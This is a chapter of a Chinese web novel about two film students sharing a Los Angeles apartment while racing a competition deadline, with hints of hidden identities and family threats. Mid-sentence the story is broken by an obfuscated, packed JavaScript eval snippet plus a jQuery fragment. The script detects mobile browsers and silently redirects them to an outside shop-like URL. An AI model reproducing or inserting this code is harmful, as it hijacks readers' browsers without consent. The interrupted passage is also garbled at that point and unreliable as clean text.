薄曜是凌晨三点回公寓的。
这个点芮绮还没睡，她正穿短裤盘腿坐在沙发上，周围摊着杂乱的十几页分纲，电脑屏幕停在某个docx，闻声望去玄关，眉头一皱。
“你和别人打架没打赢？”
薄曜这才看了眼自己全身，撕裂的T恤，胳膊上的血痕，嘴角不知怎么碰破了。头发湿答答，整个人是丧家犬，嘴上依旧扯谎，“没，摔得。”
“摔得？”芮绮觉得这人挺有意思，撒谎不打草稿，
“哪个街道摔得，我改天也去膜拜一下。”
薄曜没回答，绕过她往自己房间走。
“薄曜。”
他停下。
芮绮从小就不当圣母，不爱多管闲事，信奉救人一命，介入没用。所以她我行我素，看惯了世态炎凉，更不会无聊的当救世英雄非得问问别人到没到要死的地步。
她这儿会的恻隐之心给wild盛开了，
不过只能多嘴，不知道事大不大，不揽下来。
“你没事吧？”轻轻问，不知薄曜会不会重重答。
薄曜没仔细看过她的长相。印象里盯着粉毛，偶尔化着哥特妆，不爱动弹的时候是日常淡妆，素着脸也挺美的，巴掌脸，眼睛挺大挺圆，眼尾稍挑，鼻尖一颗痣，下巴一颗痣。
掀不起风浪的眼睛里有着难言之隐吗？
几个小时前父亲的话还历历在目。
她会有麻烦的。
因为他，又或者是因为她自己，或早或晚。
“没事。”
薄曜的房门被推开，他脱掉身上T恤，从裤子后口袋摸出Marlboro，之后坐在床边，脚踩凳子，烟一口口抽，心里的烦闷无法顺着烟蒂排出去。
手臂上的血痕不知道何时停止渗血，
他不想管，自暴自弃地摁灭烟蒂，摔到床上闭眼。
他突然很想问她，
你知道我是谁吗？你知道wild是谁吗？
你知道我父亲要找你麻烦吗？
距离竞赛报名截止还剩48小时。
他们要交出十分钟的样片，进行初步筛选。
客厅被剧本占领。
桌上、茶几上、沙发上，到处是打印出来的分场大纲、分镜草稿、拍摄计划。两杯咖啡凉了又续，续了又凉，外卖盒堆在垃圾桶边上，没人有空扔。
芮绮瘫在沙发上，盯着天花板，眼睛发直。
“我不行了。”她说。
“不行也得行。”薄曜手里拿着一沓分镜稿，“这场戏还没定。”
“定了，用你的长镜头。”
“那下一场呢？”
“拍独白。”
“不行，太长了。”
“那就剪掉一半。”
“剪掉一半情绪就不连贯了。”
芮绮翻了个白眼，把头偏向另一边，不想看他。
薄曜也没再说话，继续翻分镜稿。
客厅里安静了几分钟。
“芮绮。”
“嗯？”
“你最喜欢的编剧是谁？”
芮绮愣了一下，转过头，看着他。
他这会儿背对着芮绮，蹲在地上摆弄草稿纸，看不见表情，
问题问得很随意，像随口闲聊，又像刻意为之。
“很多，”芮绮一个脑袋两个大，“怎么了？”
“随便问问，”薄曜翻了换了页稿子修改，“我喜欢一个叫Flick的，你知道吗？”
有了掉马的风险之后，芮绮就是天生的老演员。
“听过吧，圈子内很神秘的新人编剧。”
“你不好奇她是男是女？多大年纪？”
“网络上的事，好奇也没用。”
“也是。”他顿了顿，“不过我觉得，她应该就在身边。”
此话题危险系数太高，芮绮转话题，不在意是否生硬。她坐回地毯，神色如常，“继续吧，定下仿生人第一次意识到自己不是人的那场戏。”
.
时间一点点过去，
十一点，十二点，一点，两点。
芮绮的眼睛开始发花，脑子像灌了水泥。
她打了个哈欠，又打了个哈欠，然后不知不觉地，脑袋歪向一边，头摔在沙发扶手上，睡着了。
薄曜察觉到身边的动静，转过头。
她睡着了。
长发散在脸侧，遮住半边脸，嘴唇微微张着，呼吸很轻。电脑还亮着，屏幕上是最新一版的分场大纲，光标停在某个句号后面，一闪一闪的。
薄曜看着她，很久没动。
反应过来之后，身体像浅滩的鱼，迫切想要找到什么。于是他放下手里的稿子，站起来，从玄关的衣帽架上拿下自己的黑色冲锋衣，他平时不常穿，家里没薄毯，只好先给她盖。
他走回沙发边，把外套轻轻披在她身上。
她看起来没那么刺头了，没那么咄咄逼人了，看起来像一个普通的有点累的需要好好睡一觉的女孩。
她问你没事吧的时候，眼睛里的东西，
那不是同情，也不是好奇，而是别的什么。
薄曜看了很久。
他无声问，“你是不是她？”
当然没有回答。
她睡得很沉，呼吸均匀，
眉头微微皱着，不知道在做什么梦。
薄曜在她旁边坐下，没有走。
属于他们的洛杉矶夜晚只有嗡鸣的电脑，
灯火通明的大厦，没有星星。
好似一场无尽的黑暗，好漫长，好恐惧。
芮绮连睡觉都在皱眉，不知做了什么梦，她看起来并不喜欢。
薄曜看了很久，他转移视线，头靠向另一边，眼睛顺势闭上，睡意浅薄。
父亲的话再度不恰宜的响起，母亲的呼吸机使用权尚且不得保障。他不知道还要想多久，要想那件被撕坏的T恤，还是需要想一想他朝不保夕的昨天未来呢？
脑子里的漫步停在这儿时，他想到芮绮的那句有时候最简单的镜头最能打动人。
那是wild视频里的词，
而Filck，他偏头看过去，又落下，不知道是不是她。
芮绮依旧睡，黑色冲锋衣在她身上都衬着娇小了很多。
薄曜想起第一次见她的场景，
——展映会上，她站起来拾级而下，摘掉帽子，踩过红彤彤的地毯上台。接着她说毕竟也没人闲到看你像狗屎一样的炫技，然后朝他竖中指。
那时候他觉得这女的有病。
后来她住进公寓，立了七条协议，
在冰箱里划分边界，用便笺贴他房门。
再后来她在摄影棚里说那些话，
在凌晨三点的客厅里敲那些字，在父亲面前替他解围。
再后来——
薄曜闭上眼睛。
他不知道自己什么时候睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406526|200537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着的。
.
凌晨六点的洛杉矶没什么特别的，就是天边亮，楼房轮廓变清晰。
光线挤过阳台门，洒进室内，落在她脸上。
芮绮动了动，浑身发麻，
她睁开眼睛，花了几秒确认自己在哪里，
然后她看见了身上的黑色冲锋衣，愣了一下。
她坐起来，转头——
薄曜靠在沙发另一端，睡着了。
他睡着的样子和醒着也不一样。
眉头平展，嘴唇放松了，呼吸很轻，胳膊上的血痕已经结痂，一道一道的，看着有点吓人。
芮绮看了他很久。
她伸出手，悬在他脸侧，想碰一下他的头发，或者他的眉骨，
或者那些血痕旁边没受伤的皮肤。
但她没碰。
手悬在那儿，几秒，然后缩回来。
她站起来，冲锋衣顺势而落，像什么东西尘埃落定般。
她捡起来，把冲锋衣叠好，放在沙发扶手上，又走到厨房，开始煮咖啡。
磨豆机的声音响起来的时候，薄曜醒了。
模糊的视线清明后，他看清她纤瘦的背影，白色T恤是柔软的布料，短裤长度在膝盖以上。她的肩膀不宽，背很薄，头发扎成丸子头，
此刻岁月静好，倒是贪恋。
他站起来，走到中岛台边，拉开椅子坐下。芮绮端着两杯咖啡走过来，一杯放在他面前，一杯自己捧着，在他对面坐下。
“你昨晚，”她顿了顿，“怎么不叫我回房间睡？”
“懒得叫。”
“哦。”
两人喝咖啡，没说话。
他低头喝咖啡，“分镜今天能定完吗？”
“能。”
“那继续。”
“好。”
两人喝完咖啡，回到客厅，继续工作。
什么都没说破，但什么都变了。
样片的分镜定完已是中午十二点，芮绮下午没课，但要兼职。
刚走出单元门，手机就震，又是Amy。
Amy发来消息：「今晚有人攒局，来不来」
芮绮回：「不来，忙」
Amy：「又是那个薄曜？你俩到底是什么情况」
芮绮没回，专心过马路。
她兼职的咖啡厅就在附近，工作日的情况下，店内应该有在办公的人。她静悄悄地进，去更衣室换上围裙，和同事打招呼。外卖单暂时没有，给新到店的人做完咖啡，同事拉着她说小话。
“Doyouknow,thebossisgoingtolayoffemployees?”
（你知道吗，老板要裁员了。）
裁员？
芮绮并不知道。
“Whendidithappen?”
（什么时候的事。）
来了外卖单，金发同事转身去刨冰，“Verysuddenly,justyesterday。”（非常突然，就在昨天。）
自然是没有，有意要裁掉她，自然不会通知。
眼下靠着卖剧本的钱还能交上房租，但交了也是一分不剩，靠着兼职收入的生活费，因为裁员，可能要切掉咖啡店了。
卖剧本的钱和几份兼职下来，芮绮勉勉强强能在洛杉矶活。
愁绪挥不去，她自然不知道在公寓的薄曜已经发现了她的秘密。